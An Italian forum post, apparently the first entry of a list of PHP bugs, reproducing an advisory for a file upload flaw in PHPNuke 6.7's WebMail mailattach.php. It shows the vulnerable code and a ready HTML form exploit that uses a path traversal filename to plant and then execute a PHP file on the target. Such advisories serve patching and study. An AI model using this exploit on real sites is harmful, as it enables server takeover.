Molti non se ne fregaranno proprio, per altri invece può essere materiale di interesse..cmq faccio una lista di alcuni bug riguardante il php! Può essere un punto d partenza per rendere sicuro il proprio materiale.
iniziamo con phpnuke
1)PHPNuke 6.7
Codice PHP:
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 6.7
Website : [url]http://www.phpnuke.org[/url]
Problem : File Upload
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
modules/WebMail/mailattach.php :
-------------------------------------------------------------------------------------------------------------------
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
@unlink($userfile);
}
}
-------------------------------------------------------------------------------------------------------------------
Exploit :
°°°°°°°
Anyone can choose the path, the name and the extention of a file to upload.
Here the file is saved into [url]http://[/url][target]/modules/AvantGo/language/bad.php
and can be included and executed with the URL
[url]http://[/url][target]/modules.php?name=AvantGo&file=langague/bad :
<form
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"
method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile">
<input type="submit" name="Send File>
</form>
It will work with Windows only because the temp name of the file is anything
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\'
character.